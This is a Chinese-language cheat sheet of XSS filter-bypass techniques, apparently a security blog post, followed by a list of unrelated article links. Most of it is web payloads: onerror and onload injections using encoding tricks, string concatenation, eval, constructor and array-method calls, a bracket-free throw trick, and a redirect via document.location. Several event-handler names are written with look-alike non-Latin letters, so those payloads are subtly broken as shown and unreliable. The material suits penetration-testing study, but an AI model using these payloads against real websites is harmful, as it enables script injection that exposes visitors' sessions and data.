XSS绕过方法总结

htmlspecialchars():将预定义字符转为实体编码
  • " < > & ' 等字符转为文本型实体编码
常用的xss注入方法
  • <img>标签
  • <a>标签
  • <input>标签
  • 事件触发

    • onmouseover
    • onclick
    • onfocus等
XSS寻找和绕过
  • 找信息交互处;输入信息看回显和页面源码;找输入信息是否存在(判断xss是否存在)
    • 搜索框;留言板等
  • 根据源码分析xss绕过方法

    • 引号闭合
    • 标签闭合
    • 大小写绕过
    • 双写绕过
    • &截断 /#截断
    • %09 %0a %0d / 绕过(针对关键字/空格过滤)
    • ng-include外包文件绕过(DOM中)
      • 引入文件作为当前节点的子节点
    • bp抓包绕过(针对前端限制或隐藏标签)
    • 编码绕过

      • url编码

        • 可以二次url编码;针对%可以一直编码为%25,不断叠加
        • 如w编码是%77;二次编码就是%2577
      • html实体编码

        • 文本型
        • 十进制
        • 十六进制
      • js编码(unicode编码)
    • 注释符绕过
      • html注释有两种

        • <!-- -->
        • <!-- --!>
        • -->可以表示单行注释
    • 古英文符号绕过
      • ſ :表示s的另一种写法;转为大写是S
    • 不完整标签绕过
      • <img src οnerrοr="alert(1)"
    • </style > :中间加空格不影响标签效果
    • 针对url过滤时

      • url编码
      • 使用ip绕过

        • ip十进制
        • ip八进制
        • ip十六进制
        • 使用//代替http://(也可以使用\代替)
      • 使用中文的标点符号代替英文符号进行绕过
        • <img src="x" οnerrοr="document.location=``http://www。baidu。com``">
    • 括号过滤()

      • throw绕过
        • <svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';">
      • 反引号代替`(esc下面的键)
      • 编码绕过
    • 函数(重点)

      • 字符串拼接函数(用法都一样)

        • eval
          • <img src="x" οnerrοr="eval('al'+'ert(1)')">
        • top
          • <img src="x" οnerrοr="top['al'+'ert'](1)">
        • window
        • self
        • parent
        • frames
      • 常用函数

        • <img src="x" οnerrοr="eval(alert(1))">
        • <img src="x" οnerrοr="open(alert(1))">
        • <img src="x" οnerrοr="document.write(alert(1))">
        • <img src="x" οnerrοr="setTimeout(alert(1))">
        • <img src="x" οnerrοr="setInterval(alert(1))">
        • <img src="x" οnerrοr="Set.constructor(alert(1))">
        • <img src="x" οnerrοr="Map.constructor(alert(1))">
        • <img src="x" οnerrοr="Array.constructor(alert(1))">
        • <img src="x" οnerrοr="WeakSet.constructor(alert(1))">
        • <img src="x" οnerrοr="constructor.constructor(alert(1))">
        • <img src="x" οnerrοr="[1].map(alert(1))">
        • <img src="x" οnerrοr="[1].find(alert(1))">
        • <img src="x" οnerrοr="[1].every(alert(1))">
        • <img src="x" οnerrοr="[1].filter(alert(1))">
        • <img src="x" οnerrοr="[1].forEach(alert(1))">
        • <img src="x" οnerrοr="[1].findIndex(alert(1))">
      • 赋值拼接

        • <img src οnerrοr==alert,(1)>
        • <img src x=al y=ert οnerrοr=top[x+y](1)>
        • <img src οnerrοr=top[a='al',b='ev',b+a]('alert(1)')>
        • <img src οnerrοr=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>
相关推荐
2501_9445255422 分钟前
Flutter for OpenHarmony 个人理财管理App实战 - 支出分析页面
android·开发语言·前端·javascript·flutter
李白你好1 小时前
Burp Suite插件用于自动检测Web应用程序中的未授权访问漏洞
前端
刘一说2 小时前
Vue 组件不必要的重新渲染问题解析:为什么子组件总在“无故”刷新?
前端·javascript·vue.js
徐同保3 小时前
React useRef 完全指南:在异步回调中访问最新的 props/state引言
前端·javascript·react.js
刘一说4 小时前
Vue 导航守卫未生效问题解析:为什么路由守卫不执行或逻辑失效?
前端·javascript·vue.js
一周七喜h4 小时前
在Vue3和TypeScripts中使用pinia
前端·javascript·vue.js
weixin_395448914 小时前
main.c_cursor_0202
前端·网络·算法
东东5165 小时前
基于vue的电商购物网站vue +ssm
java·前端·javascript·vue.js·毕业设计·毕设
MediaTea5 小时前
<span class=“js_title_inner“>Python:实例对象</span>
开发语言·前端·javascript·python·ecmascript
梦梦代码精5 小时前
开源、免费、可商用:BuildingAI一站式体验报告
开发语言·前端·数据结构·人工智能·后端·开源·知识图谱